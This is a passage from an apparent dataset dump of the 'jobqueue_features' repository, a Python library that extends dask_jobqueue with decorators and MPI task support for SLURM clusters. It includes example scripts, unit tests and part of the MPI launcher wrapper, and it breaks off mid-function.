5.2\ntokenizers==0.12.1\ntomli==2.0.1\ntorch==1.11.0\ntorchfile==0.1.0\ntornado==6.1\ntqdm==4.61.2\ntransformers==4.21.2\ntrio==0.22.0\ntweepy==4.10.1\ntypes-pytz==2022.2.1.0\ntyping-extensions==4.2.0\nua-parser==0.10.0\nujson==5.3.0\numap-learn==0.5.1\nUnidecode==1.2.0\nuritemplate==4.1.1\nurllib3==1.26.6\nuser-agents==2.2.0\nvirtualenv==20.4.7\nvisdom==0.1.8.9\nwebsocket-client==1.1.0\nWerkzeug==2.0.1\nWMI==1.5.1\nwrapt==1.12.1\nxmljson==0.2.0\nyarg==0.1.9\nyarl==1.7.0\nyoutube-data-api==0.0.21\nyoutube-dl==2020.12.2\nyoutube-transcript-api==0.4.4\nzipp==3.8.1\n" } ]
2
AdamWlodarczyk/jobqueue_features
https://github.com/AdamWlodarczyk/jobqueue_features
04d029fbe915b28be51c0b4a6ca773874ff671f3
ea0f641d1cbce65515d1a901e0895020adeb71ac
2587837bb8134e8465a6184ed108c906a14f0c0d
refs/heads/master
2020-06-14T13:09:20.455651
2019-07-12T12:00:51
2019-07-12T12:00:51
195,012,681
0
0
null
2019-07-03T08:32:54
2019-06-25T11:47:35
2019-06-25T11:49:19
null
[ { "alpha_fraction": 0.7577464580535889, "alphanum_fraction": 0.7577464580535889, "avg_line_length": 38.44444274902344, "blob_id": "dd104ae0a5fb0abb5c1922d641352d09545a977a", "content_id": "4824d0fab21f853a1300472073d626fd27cf8d7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 355, "license_type": "no_license", "max_line_length": 66, "num_lines": 9, "path": "/jobqueue_features/functions.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from .clusters_controller import clusters_controller_singleton\nfrom .clusters import ClusterType # noqa\n\n\ndef set_default_cluster(cluster):\n # type: (ClusterType) -> None\n \"\"\"Function sets default cluster type for clusters controller.\n This should be the right way of setting that.\"\"\"\n clusters_controller_singleton.default_cluster = cluster\n" }, { "alpha_fraction": 0.6482276916503906, "alphanum_fraction": 0.6616541147232056, "avg_line_length": 26.382352828979492, "blob_id": "f8710fc6cbc042b2005d84ff4d8427a2ed897cbb", "content_id": "e04b1809d4e8256852dcbcff0305185bd3f254f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1862, "license_type": "no_license", "max_line_length": 88, "num_lines": 68, "path": "/examples/mpi_tasks_srun.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport sys\n\nfrom jobqueue_features.clusters import CustomSLURMCluster\nfrom jobqueue_features.decorators import on_cluster, mpi_task\nfrom jobqueue_features.mpi_wrapper import SRUN\n\n# import logging\n\n# logging.basicConfig(format=\"%(levelname)s:%(message)s\", level=logging.DEBUG)\n\ncustom_cluster = CustomSLURMCluster(\n name=\"mpiCluster\", walltime=\"00:03:00\", nodes=2, mpi_mode=True, mpi_launcher=SRUN\n)\n\n\n@mpi_task(cluster_id=\"mpiCluster\")\ndef task1(task_name):\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n size = comm.Get_size()\n name = MPI.Get_processor_name()\n all_nodes = comm.gather(name, root=0)\n if all_nodes:\n all_nodes = set(all_nodes)\n else:\n all_nodes = []\n # Since it is a return value it will only get printed by root\n return_string = \"Running %d tasks of type %s on nodes %s.\" % (\n size,\n task_name,\n all_nodes,\n )\n # The flush is required to ensure that the print statements appear in the job log\n # files\n print(return_string)\n sys.stdout.flush()\n return return_string\n\n\n@mpi_task(cluster_id=\"mpiCluster\")\ndef task2(name, task_name=\"default\"):\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n # This only appears in the slurm job output\n return_string = \"Hi %s, my rank is %d for task of type %s\" % (name, rank, task_name)\n # The flush is required to ensure that the print statements appear in the job log\n # files\n print(return_string)\n sys.stdout.flush()\n return return_string\n\n\n@on_cluster(cluster=custom_cluster, cluster_id=\"mpiCluster\")\ndef main():\n t1 = task1(\"task1\")\n t2 = task1(\"task1, 2nd iteration\")\n t3 = task2(\"Alan\", task_name=\"Task 2\")\n print(t1.result())\n print(t2.result())\n print(t3.result())\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.6047973036766052, "alphanum_fraction": 0.6144338250160217, "avg_line_length": 43.199073791503906, "blob_id": "52dca8e0645069b2bce805add72bdf34d7a3d41f", "content_id": "331563adfa27791fd42cd5cc1c5f07e5be966d90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9547, "license_type": "no_license", "max_line_length": 88, "num_lines": 216, "path": "/jobqueue_features/tests/test_cluster.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom dask.distributed import Client\n\nfrom jobqueue_features.clusters import get_cluster, SLURM\nfrom jobqueue_features.mpi_wrapper import SRUN\nfrom jobqueue_features.cli.mpi_dask_worker import MPI_DASK_WRAPPER_MODULE\nfrom jobqueue_features.clusters_controller import (\n clusters_controller_singleton as controller,\n)\n\n\nclass TestClusters(TestCase):\n def setUp(self):\n self.cluster_name = \"dask-worker-batch\" # default\n self.kwargs = {\n # 'interface': 'eth0', # most likely won't have ib0 available so just use\n # a safe default for the tests\n \"interface\": \"\",\n \"fork_mpi\": False,\n \"mpi_launcher\": SRUN,\n }\n\n def test_custom_cluster(self):\n cluster = get_cluster(scheduler=SLURM, **self.kwargs)\n self.assertEqual(cluster.name, self.cluster_name)\n self.assertIsInstance(cluster.client, Client)\n with self.assertRaises(ValueError):\n get_cluster(SLURM, cores=128, **self.kwargs)\n controller.delete_cluster(cluster.name)\n\n def test_gpu_cluster(self):\n cluster = get_cluster(queue_type=\"gpus\", **self.kwargs)\n self.assertEqual(cluster.name, \"dask-worker-gpus\")\n self.assertIn(\"#SBATCH -p gpus\", cluster.job_header)\n self.assertIn(\"#SBATCH --gres=gpu:4\", cluster.job_header)\n self.assertIsInstance(cluster.client, Client)\n controller.delete_cluster(cluster.name)\n\n def test_knl_cluster(self):\n cluster = get_cluster(queue_type=\"knl\", **self.kwargs)\n self.assertEqual(cluster.name, \"dask-worker-knl\")\n self.assertIn(\"#SBATCH -p booster\", cluster.job_header)\n self.assertIn(\"#SBATCH --cpus-per-task=64\", cluster.job_header)\n self.assertIsInstance(cluster.client, Client)\n controller.delete_cluster(cluster.name)\n\n def test_nonexistent_queue_type(self):\n with self.assertRaises(ValueError) as context:\n get_cluster(queue_type=\"chicken\", **self.kwargs)\n self.assertIn(\n \"queue_type kwarg value 'chicken' not in available options\",\n str(context.exception),\n )\n\n def test_mpi_job_cluster(self):\n # First do a simple mpi job\n cluster = get_cluster(queue_type=\"knl\", mpi_mode=True, cores=64, **self.kwargs)\n self.assertIn(\"#SBATCH --cpus-per-task=1\", cluster.job_header)\n self.assertIn(\"#SBATCH --ntasks-per-node=64\", cluster.job_header)\n self.assertIn(\"#SBATCH -n 64\", cluster.job_script())\n self.assertIn(MPI_DASK_WRAPPER_MODULE, cluster._command_template)\n self.assertEqual(cluster.worker_cores, 1)\n self.assertEqual(cluster.worker_processes, 1)\n self.assertEqual(cluster.worker_process_threads, 1)\n self.assertIsInstance(cluster.client, Client)\n controller.delete_cluster(cluster.name)\n with self.assertRaises(ValueError):\n cluster = get_cluster(\n queue_type=\"knl\", mpi_mode=True, nodes=64, cores=64, **self.kwargs\n )\n controller.delete_cluster(cluster.name)\n\n def test_fork_mpi_job_cluster(self):\n # First do a simple mpi job\n kwargs = self.kwargs\n kwargs.update({\"fork_mpi\": True})\n cluster = get_cluster(queue_type=\"knl\", mpi_mode=True, cores=64, **kwargs)\n self.assertNotIn(MPI_DASK_WRAPPER_MODULE, cluster._command_template)\n controller.delete_cluster(cluster.name)\n\n def test_mpi_multi_node_job_cluster(self):\n # First do a simple mpi job\n cluster = get_cluster(queue_type=\"knl\", mpi_mode=True, cores=130, **self.kwargs)\n self.assertIn(\"#SBATCH --cpus-per-task=1\", cluster.job_header)\n self.assertIn(\"#SBATCH --ntasks-per-node=64\", cluster.job_header)\n self.assertIn(\"#SBATCH -n 130\", cluster.job_script())\n self.assertEqual(cluster.worker_cores, 1)\n self.assertEqual(cluster.worker_processes, 1)\n self.assertEqual(cluster.worker_process_threads, 1)\n with self.assertRaises(ValueError):\n get_cluster(queue_type=\"knl\", mpi_mode=True, **self.kwargs)\n with self.assertRaises(ValueError):\n get_cluster(\n queue_type=\"knl\",\n cpus_per_task=37,\n cores=2,\n mpi_mode=True,\n **self.kwargs\n )\n with self.assertRaises(ValueError):\n get_cluster(\n queue_type=\"knl\",\n cores=1,\n ntasks_per_node=13,\n mpi_mode=True,\n **self.kwargs\n )\n controller.delete_cluster(cluster.name)\n\n def test_mpi_complex_job_cluster(self):\n # Now a few more variables\n cluster = get_cluster(\n queue_type=\"gpus\", mpi_mode=True, nodes=2, ntasks_per_node=4, **self.kwargs\n )\n self.assertIn(\"#SBATCH --cpus-per-task=6\", cluster.job_header)\n self.assertIn(\"#SBATCH --ntasks-per-node=4\", cluster.job_header)\n self.assertIn(\"#SBATCH --nodes=2\", cluster.job_header)\n self.assertIn(\"#SBATCH --gres=gpu:4\", cluster.job_header)\n self.assertEqual(cluster.worker_cores, 1)\n self.assertEqual(cluster.worker_processes, 1)\n self.assertEqual(cluster.worker_process_threads, 1)\n self.assertIn(\"#SBATCH -n 8\", cluster.job_script())\n self.assertIn(\n \"export OMP_NUM_THREADS=${SLURM_CPUS_PER_TASK}\", cluster.job_script()\n )\n self.assertIn(\"export OMP_PROC_BIND=spread\", cluster.job_script())\n self.assertIn(\"export OMP_PLACES=threads\", cluster.job_script())\n controller.delete_cluster(cluster.name)\n\n def test_mpi_complex_job_cluster_fail(self):\n # Now a few more variables\n with self.assertRaises(ValueError) as ctx:\n # When we provide ntasks_per_node, cpus_per_tasks is derived (in this case\n # 24/2 = 12). For an MPI job we expect the core count (which is the total\n # number of cores to be used) to be divisible by cpus_per_tasks but that is\n # not true in this case resulting in a ValueError\n get_cluster(\n queue_type=\"gpus\",\n mpi_mode=True,\n cores=2,\n ntasks_per_node=2,\n **self.kwargs\n )\n # If you really want this you ask for it explicitly\n cluster = get_cluster(\n queue_type=\"gpus\",\n mpi_mode=True,\n cores=2,\n ntasks_per_node=2,\n cpus_per_task=1,\n **self.kwargs\n )\n self.assertIn(\"#SBATCH --cpus-per-task=1\", cluster.job_header)\n self.assertIn(\"#SBATCH --ntasks-per-node=2\", cluster.job_header)\n self.assertIn(\"#SBATCH -n 2\", cluster.job_header)\n self.assertNotIn(\"#SBATCH --nodes\", cluster.job_header)\n self.assertIn(\"#SBATCH --gres=gpu:4\", cluster.job_header)\n controller.delete_cluster(cluster.name)\n # For memory pinning stuff that may be done by the scheduler, it is probably\n # better to ask for it like this (even if you don't intend to use OpenMP)\n cluster = get_cluster(\n queue_type=\"gpus\", mpi_mode=True, nodes=1, ntasks_per_node=2, **self.kwargs\n )\n self.assertIn(\"#SBATCH --cpus-per-task=12\", cluster.job_header)\n self.assertIn(\"#SBATCH --ntasks-per-node=2\", cluster.job_header)\n self.assertIn(\"#SBATCH -n 2\", cluster.job_header)\n self.assertIn(\"#SBATCH --nodes=1\", cluster.job_header)\n self.assertIn(\"#SBATCH --gres=gpu:4\", cluster.job_header)\n controller.delete_cluster(cluster.name)\n\n def test_mpi_explicit_job_cluster(self):\n # Now a few more variables\n cluster = get_cluster(\n queue_type=\"gpus\",\n mpi_mode=True,\n nodes=2,\n cpus_per_task=2,\n ntasks_per_node=12,\n **self.kwargs\n )\n self.assertIn(\"#SBATCH --cpus-per-task=2\", cluster.job_header)\n self.assertIn(\"#SBATCH --ntasks-per-node=12\", cluster.job_header)\n self.assertIn(\"#SBATCH --nodes=2\", cluster.job_header)\n self.assertIn(\"#SBATCH --gres=gpu:4\", cluster.job_header)\n self.assertEqual(cluster.worker_cores, 1)\n self.assertEqual(cluster.worker_processes, 1)\n self.assertEqual(cluster.worker_process_threads, 1)\n self.assertIn(\"#SBATCH -n 24\", cluster.job_script())\n self.assertIn(\n \"export OMP_NUM_THREADS=${SLURM_CPUS_PER_TASK}\", cluster.job_script()\n )\n self.assertIn(\"export OMP_PROC_BIND=spread\", cluster.job_script())\n self.assertIn(\"export OMP_PLACES=threads\", cluster.job_script())\n controller.delete_cluster(cluster.name)\n\n def test_scheduler_fail_job_cluster(self):\n with self.assertRaises(NotImplementedError):\n get_cluster(scheduler=\"pbs\", **self.kwargs)\n\n def test_non_integer_kwargs(self):\n with self.assertRaises(ValueError):\n get_cluster(SLURM, minimum_cores=\"a\", **self.kwargs)\n with self.assertRaises(ValueError):\n get_cluster(SLURM, cores_per_node=0, **self.kwargs)\n with self.assertRaises(ValueError):\n get_cluster(SLURM, hyperthreading_factor=[], **self.kwargs)\n\n def test_wrong_hyperthreading_factor(self):\n with self.assertRaises(ValueError):\n get_cluster(\n SLURM,\n minimum_cores=2,\n cores_per_node=1,\n hyperthreading_factor=1,\n **self.kwargs\n )\n" }, { "alpha_fraction": 0.7975000143051147, "alphanum_fraction": 0.7975000143051147, "avg_line_length": 132.3333282470703, "blob_id": "bc58ebae6b5c8152d86372aab816a36080fe016a", "content_id": "5cf1b044263215b7f5299a81ad2c841cdc98fab8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 400, "license_type": "no_license", "max_line_length": 249, "num_lines": 3, "path": "/README.md", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "[![Build Status](https://travis-ci.com/E-CAM/jobqueue_features.svg?branch=master)](https://travis-ci.com/E-CAM/jobqueue_features)\n# jobqueue_features\nThis library provides some useful decorators for [`dask_jobqueue`](https://github.com/dask/dask-jobqueue). It also expands it's scope to include MPI workloads, including extending configuration options for such workloads and heterogeneous resources.\n" }, { "alpha_fraction": 0.5686905384063721, "alphanum_fraction": 0.5705925226211548, "avg_line_length": 35.945945739746094, "blob_id": "e6e071975edacb6db92f83c570a7d90ec9f2d451", "content_id": "5f974ddd8e7f21b645553d4aed51caf9158dc556", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6835, "license_type": "no_license", "max_line_length": 89, "num_lines": 185, "path": "/jobqueue_features/tests/test_mpi_wrapper.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nfrom unittest import TestCase\nimport os\n\nfrom distributed import LocalCluster\n\nfrom jobqueue_features import (\n mpi_wrap,\n MPIEXEC,\n SRUN,\n on_cluster,\n mpi_task,\n which,\n serialize_function_and_args,\n deserialize_and_execute,\n mpi_deserialize_and_execute,\n verify_mpi_communicator,\n flush_and_abort,\n)\n\n\nclass TestMPIWrap(TestCase):\n def setUp(self):\n self.number_of_processes = 4\n self.local_cluster = LocalCluster()\n self.executable = \"python\"\n self.script_path = os.path.abspath(\n os.path.join(\n os.path.dirname(__file__),\n \"..\",\n \"..\",\n \"examples\",\n \"resources\",\n \"helloworld.py\",\n )\n )\n\n @mpi_task(cluster_id=\"test\", default_mpi_tasks=4)\n def mpi_wrap_task(**kwargs):\n return mpi_wrap(**kwargs)\n\n @on_cluster(cluster=self.local_cluster, cluster_id=\"test\")\n def test_function(script_path, return_wrapped_command=False):\n t = mpi_wrap_task(\n executable=self.executable,\n exec_args=script_path,\n mpi_launcher=MPIEXEC,\n mpi_tasks=self.number_of_processes,\n return_wrapped_command=return_wrapped_command,\n )\n if return_wrapped_command:\n result = t.result()\n else:\n result = t.result()[\"out\"]\n\n return result\n\n self.test_function = test_function\n\n def mpi_task1(task_name):\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n size = comm.Get_size()\n # Since it is a return value it will only get printed by root\n return \"Running %d tasks of type %s.\" % (size, task_name)\n\n self.mpi_task1 = mpi_task1\n\n def string_task(string, kwarg_string=None):\n return \" \".join([s for s in [string, kwarg_string] if s])\n\n self.string_task = string_task\n\n def test_which(self):\n # Check it finds a full path\n self.assertEqual(which(self.script_path), self.script_path)\n # Check it searches the PATH envvar\n os.environ[\"PATH\"] += os.pathsep + os.path.dirname(self.script_path)\n self.assertEqual(which(os.path.basename(self.script_path)), self.script_path)\n # Check it returns None if the executable doesn't exist\n self.assertIsNone(which(\"not_an_executable\"))\n # Check it returns None when a file is not executable\n self.assertIsNone(which(os.path.realpath(__file__)))\n\n def test_mpi_wrap(self):\n #\n # Assume here we have mpiexec support\n if which(MPIEXEC) is not None:\n print(\"Found {}, running MPI test\".format(MPIEXEC))\n result = self.test_function(self.script_path)\n for n in range(self.number_of_processes):\n text = \"Hello, World! I am process {} of {}\".format(\n n, self.number_of_processes\n )\n self.assertIn(text.encode(), result)\n result = self.test_function(self.script_path, return_wrapped_command=True)\n expected_result = \"{} -np {} {} {}\".format(\n MPIEXEC, self.number_of_processes, self.executable, self.script_path\n )\n self.assertEqual(result, expected_result)\n else:\n pass\n\n # Test the MPI wrapper in isolation for srun (which we assume doesn't exist):\n def test_mpi_srun_wrapper(self):\n if which(SRUN) is None:\n print(\n \"Didn't find {}, running OSError test for no available launcher\".format(\n SRUN\n )\n )\n with self.assertRaises(OSError) as context:\n mpi_wrap(\n executable=\"python\",\n exec_args=self.script_path,\n mpi_launcher=SRUN,\n mpi_tasks=self.number_of_processes,\n )\n self.assertTrue(\n \"OS error caused by constructed command\" in str(context.exception)\n )\n else:\n pass\n\n # Test our serialisation method\n def test_serialize_function_and_args(self):\n # First check elements in our dict\n serialized_object = serialize_function_and_args(self.string_task)\n for key in serialized_object.keys():\n self.assertIn(key, [\"header\", \"frames\"])\n serialized_object = serialize_function_and_args(self.string_task, \"chicken\")\n for key in serialized_object.keys():\n self.assertIn(key, [\"header\", \"frames\", \"args_header\", \"args_frames\"])\n serialized_object = serialize_function_and_args(\n self.string_task, kwarg_string=\"dog\"\n )\n for key in serialized_object.keys():\n self.assertIn(key, [\"header\", \"frames\", \"kwargs_header\", \"kwargs_frames\"])\n serialized_object = serialize_function_and_args(\n self.string_task, \"chicken\", kwarg_string=\"dog\"\n )\n for key in serialized_object.keys():\n self.assertIn(\n key,\n [\n \"header\",\n \"frames\",\n \"args_header\",\n \"args_frames\",\n \"kwargs_header\",\n \"kwargs_frames\",\n ],\n )\n\n def test_deserialize_and_execute(self):\n serialized_object = serialize_function_and_args(\n self.string_task, \"chicken\", kwarg_string=\"dog\"\n )\n self.assertEqual(\"chicken dog\", deserialize_and_execute(serialized_object))\n\n def test_flush_and_abort(self):\n with self.assertRaises(SystemExit) as cm:\n flush_and_abort(mpi_abort=False)\n self.assertEqual(cm.exception.code, 1)\n with self.assertRaises(SystemExit) as cm:\n flush_and_abort(error_code=2, mpi_abort=False)\n self.assertEqual(cm.exception.code, 2)\n\n def test_verify_mpi_communicator(self):\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n with self.assertRaises(SystemExit) as cm:\n verify_mpi_communicator(\"Not a communicator\", mpi_abort=False)\n self.assertEqual(cm.exception.code, 1)\n self.assertTrue(verify_mpi_communicator(comm, mpi_abort=False))\n\n def test_mpi_deserialize_and_execute(self):\n trivial = \"trivial\"\n serialized_object = serialize_function_and_args(self.mpi_task1, trivial)\n # The test framework is not started with an MPI launcher so we have a single task\n expected_string = \"Running 1 tasks of type {}.\".format(trivial)\n return_value = mpi_deserialize_and_execute(serialized_object)\n self.assertEqual(expected_string, return_value)\n" }, { "alpha_fraction": 0.7234899401664734, "alphanum_fraction": 0.7234899401664734, "avg_line_length": 24.689655303955078, "blob_id": "7e283441dff1c74ef664d908bea2ec54844b888f", "content_id": "71372da9b7bc5965006bd727d7231b195b7c28a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 745, "license_type": "no_license", "max_line_length": 87, "num_lines": 29, "path": "/examples/mpi_tasks_mpiexec.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport os\n\nfrom dask.distributed import LocalCluster\n\nfrom jobqueue_features.decorators import on_cluster, mpi_task\nfrom jobqueue_features.mpi_wrapper import mpi_wrap, MPIEXEC\nfrom jobqueue_features.functions import set_default_cluster\n\n# import logging\n# logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)\n\nset_default_cluster(LocalCluster)\n\n\n@mpi_task()\ndef mpi_wrap_task(**kwargs):\n return mpi_wrap(**kwargs)\n\n\n@on_cluster()\ndef main():\n script_path = os.path.join(os.path.dirname(__file__), \"resources\", \"helloworld.py\")\n t = mpi_wrap_task(executable=\"python\", exec_args=script_path, mpi_launcher=MPIEXEC)\n print(t.result())\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5413934588432312, "alphanum_fraction": 0.5426158308982849, "avg_line_length": 37.78879165649414, "blob_id": "d86a91b11679ac428392cb3443b9b5eb283dc924", "content_id": "5741d539a9e422f460a915fcb9cd5283fef9df01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8999, "license_type": "no_license", "max_line_length": 88, "num_lines": 232, "path": "/jobqueue_features/decorators.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nfrom typing import Callable, List, Dict # noqa\nfrom functools import wraps\n\nfrom dask.distributed import LocalCluster, Client, Future # noqa\n\nfrom .clusters_controller import clusters_controller_singleton, ClusterType # noqa\nfrom .custom_exceptions import ClusterException\nfrom .mpi_wrapper import (\n MPIEXEC,\n serialize_function_and_args,\n mpi_deserialize_and_execute,\n)\n\n\ndef _get_workers_number(client):\n return len(client._scheduler_identity.get(\"workers\", {}))\n\n\nclass on_cluster(object):\n \"\"\"Decorator gets or create clusters from clusters controller.\n Parameters\n ----------\n cluster : ClusterType\n Work on given cluster\n cluster_id : str\n Gets or create cluster with given id. If no id provided controller\n gets default cluster (cluster_id = 'default').\n scale : int\n Scale cluster (default or given by id or passes by cluster parameter).\n \"\"\"\n\n def __init__(self, cluster=None, cluster_id=None, scale=None):\n # type: (ClusterType, str, int) -> None\n _id = self._get_cluster_id(cluster=cluster, cluster_id=cluster_id)\n try:\n self.cluster, client = clusters_controller_singleton.get_cluster(\n id_=_id\n ) # type: ClusterType\n except ClusterException:\n self.cluster, client = clusters_controller_singleton.add_cluster(\n id_=_id, cluster=cluster\n ) # type: ClusterType\n if not self._is_local_cluster(cluster=self.cluster):\n if scale is not None:\n # If the kwarg 'scale' has been used in the decorator call we adaptively\n # scale up to that many workers\n if scale > self.cluster.maximum_scale:\n print(\n \"Scaling cluster {cluster_id} to {scale} exceeds default \"\n \"maximum workers ({maximum_scale})\".format(\n cluster_id=_id,\n scale=scale,\n maximum_scale=self.cluster.maximum_scale,\n )\n )\n self.cluster.adapt(\n minimum=0, maximum=scale, wait_count=10, interval=\"6s\"\n )\n else:\n self.cluster.adapt(\n minimum=0,\n maximum=self.cluster.maximum_scale,\n wait_count=10,\n interval=\"6s\",\n )\n # We immediately start up `scale` workers rather than wait for adapt to\n # kick in the `wait_count`*`interval` should keep them from shutting\n # down too fast (allows 1 minute idle)\n self.cluster.scale(scale)\n else:\n # Otherwise we adaptively scale to the maximum number of workers\n self.cluster.adapt(minimum=0, maximum=self.cluster.maximum_scale)\n\n def __call__(self, f):\n # type: (Callable) -> Callable\n @wraps(f)\n def wrapped_function(*args, **kwargs):\n return f(*args, **kwargs)\n\n return wrapped_function\n\n @staticmethod\n def _is_local_cluster(cluster):\n # type: (ClusterType) -> bool\n return type(cluster) is LocalCluster\n\n def _get_cluster_id(self, cluster=None, cluster_id=None):\n # type: (ClusterType, str) -> str\n if cluster:\n if not self._is_local_cluster(cluster=cluster):\n if cluster_id is not None:\n assert cluster_id == cluster.name\n return cluster_id\n else:\n return cluster.name\n else:\n if cluster_id is None:\n raise ClusterException(\n 'LocalCluster requires \"cluster_id\" argument.'\n )\n return cluster_id\n return cluster_id\n\n\nclass task(object):\n \"\"\"Decorator gets client from clusters controller and submits\n wrapped function to given cluster.\n Parameters\n ----------\n cluster : ClusterType\n\n cluster_id : str\n Gets client of given cluster by id or 'default' if none given.\n \"\"\"\n\n def __init__(self, cluster_id=None, cluster=None):\n # type: (str) -> None\n self.cluster_id = cluster_id\n if cluster:\n if type(cluster) is not LocalCluster:\n _id = getattr(cluster, \"name\", None)\n if not _id:\n raise ClusterException(\"Cluster has no name attribute set.\")\n elif cluster_id and _id != cluster_id:\n raise ClusterException(\n \"Cluster 'name' and cluster_id are different.\"\n )\n else:\n self.cluster_id = _id\n elif not cluster_id:\n raise ClusterException(\n \"'cluster_id' argument is required for LocalCluster.\"\n )\n\n def __call__(self, f):\n # type: (Callable) -> Callable\n @wraps(f)\n def wrapped_f(*args, **kwargs): # type: (...) -> Future\n cluster, client = self._get_cluster_and_client()\n return self._submit(cluster, client, f, *args, **kwargs)\n\n return wrapped_f\n\n def _get_cluster_and_client(self):\n try:\n return clusters_controller_singleton.get_cluster(id_=self.cluster_id)\n except KeyError:\n raise ClusterException(\n \"Could not find Cluster or Client. \" \"Use @on_cluster() decorator.\"\n )\n\n def _submit(self, cluster, client, f, *args, **kwargs):\n # type: (ClusterType, Client, Callable, List[...], Dict[...]) -> Future\n # For normal tasks, we maintain the Dask default that functions are pure (by\n # default)\n kwargs.update({\"pure\": getattr(cluster, \"pure\", getattr(kwargs, \"pure\", True))})\n return client.submit(f, *args, **kwargs)\n\n\nclass mpi_task(task):\n def __init__(self, cluster_id=None, default_mpi_tasks=1):\n # type: (str, int) -> None\n # set a default number of MPI tasks (in case we are running on a localcluster)\n self.default_mpi_tasks = default_mpi_tasks\n super(mpi_task, self).__init__(cluster_id=cluster_id)\n\n def _get_cluster_attribute(self, cluster, attribute, default, **kwargs):\n dict_value = kwargs.pop(attribute, default)\n return getattr(cluster, attribute, dict_value), kwargs\n\n def _submit(self, cluster, client, f, *args, **kwargs):\n # For MPI tasks, let's assume functions are not pure (by default)\n pure, kwargs = self._get_cluster_attribute(cluster, \"pure\", False, **kwargs)\n # For a LocalCluster, mpi_mode/fork_mpi will not have been set so let's assume\n # MPI forking\n mpi_mode, kwargs = self._get_cluster_attribute(\n cluster, \"mpi_mode\", None, **kwargs\n )\n if mpi_mode is None:\n fork_mpi = True\n else:\n # Check if it is a forking task\n fork_mpi, kwargs = self._get_cluster_attribute(\n cluster, \"fork_mpi\", False, **kwargs\n )\n # type: (ClusterType, Client, Callable, List[...], Dict[...]) -> Future\n if fork_mpi:\n # Add a set of kwargs that define the job layout to be picked up by\n # our mpi_wrap function\n mpi_launcher, kwargs = self._get_cluster_attribute(\n cluster, \"mpi_launcher\", MPIEXEC, **kwargs\n )\n mpi_tasks, kwargs = self._get_cluster_attribute(\n cluster, \"mpi_tasks\", self.default_mpi_tasks, **kwargs\n )\n nodes, kwargs = self._get_cluster_attribute(\n cluster, \"nodes\", None, **kwargs\n )\n cpus_per_task, kwargs = self._get_cluster_attribute(\n cluster, \"cpus_per_task\", None, **kwargs\n )\n ntasks_per_node, kwargs = self._get_cluster_attribute(\n cluster, \"ntasks_per_node\", None, **kwargs\n )\n\n return super(mpi_task, self)._submit(\n cluster,\n client,\n f,\n *args,\n pure=pure,\n mpi_launcher=mpi_launcher,\n mpi_tasks=mpi_tasks,\n nodes=nodes,\n cpus_per_task=cpus_per_task,\n ntasks_per_node=ntasks_per_node,\n **kwargs\n )\n else:\n # If we are not forking we need to serialize the task and arguments\n serialized_object = serialize_function_and_args(f, *args, **kwargs)\n\n # Then we submit our deserializing/executing function as the task\n return super(mpi_task, self)._submit(\n cluster,\n client,\n mpi_deserialize_and_execute,\n serialized_object,\n pure=pure,\n )\n" }, { "alpha_fraction": 0.5917041301727295, "alphanum_fraction": 0.5925787091255188, "avg_line_length": 30.636363983154297, "blob_id": "3bca09f32281c4ab769b440e7347ec28cc05a02e", "content_id": "e5ef34a6cabca56f902b1852a436344df3b48a4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8004, "license_type": "no_license", "max_line_length": 96, "num_lines": 253, "path": "/jobqueue_features/mpi_wrapper.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from distributed.protocol import serialize, deserialize\nimport os\nimport shlex\nimport subprocess\nimport sys\nfrom typing import Dict # noqa\n\n\nSRUN = \"srun\"\nMPIEXEC = \"mpiexec\"\n\nSUPPORTED_MPI_LAUNCHERS = [SRUN, MPIEXEC]\n\n\ndef which(filename):\n result = None\n # Check we can immediately find the executable\n if os.path.exists(filename) and os.access(filename, os.X_OK):\n result = filename\n else:\n # Look everywhere in the users PATH\n for path in os.environ[\"PATH\"].split(os.pathsep):\n full_path = os.path.join(path, filename)\n if os.path.exists(full_path) and os.access(full_path, os.X_OK):\n result = full_path\n return result\n\n\ndef mpi_wrap(\n executable=None,\n pre_launcher_opts=\"\",\n mpi_launcher=None,\n launcher_args=\"\",\n mpi_tasks=None,\n nodes=None,\n cpus_per_task=None,\n ntasks_per_node=None,\n exec_args=\"\",\n return_wrapped_command=False,\n **kwargs\n):\n # type: (str, str, str, str, str, ...) -> Dict[str, str]\n def get_default_mpi_params(\n mpi_launcher, mpi_tasks, nodes, cpus_per_task, ntasks_per_node\n ):\n \"\"\"\n Based on the requested process distribution, return default arguments for the\n MPI launcher.\n\n :param mpi_launcher: The MPI launcher (such as mpiexec, srun, mpirun,...)\n :param mpi_tasks: Total number of MPI tasks\n :param nodes: Number of nodes requested (optional)\n :param cpus_per_task: Number of CPUs per MPI task (most relevant for hybrid\n jobs)\n :param ntasks_per_node: Number of MPI tasks per node\n :return: string\n \"\"\"\n if 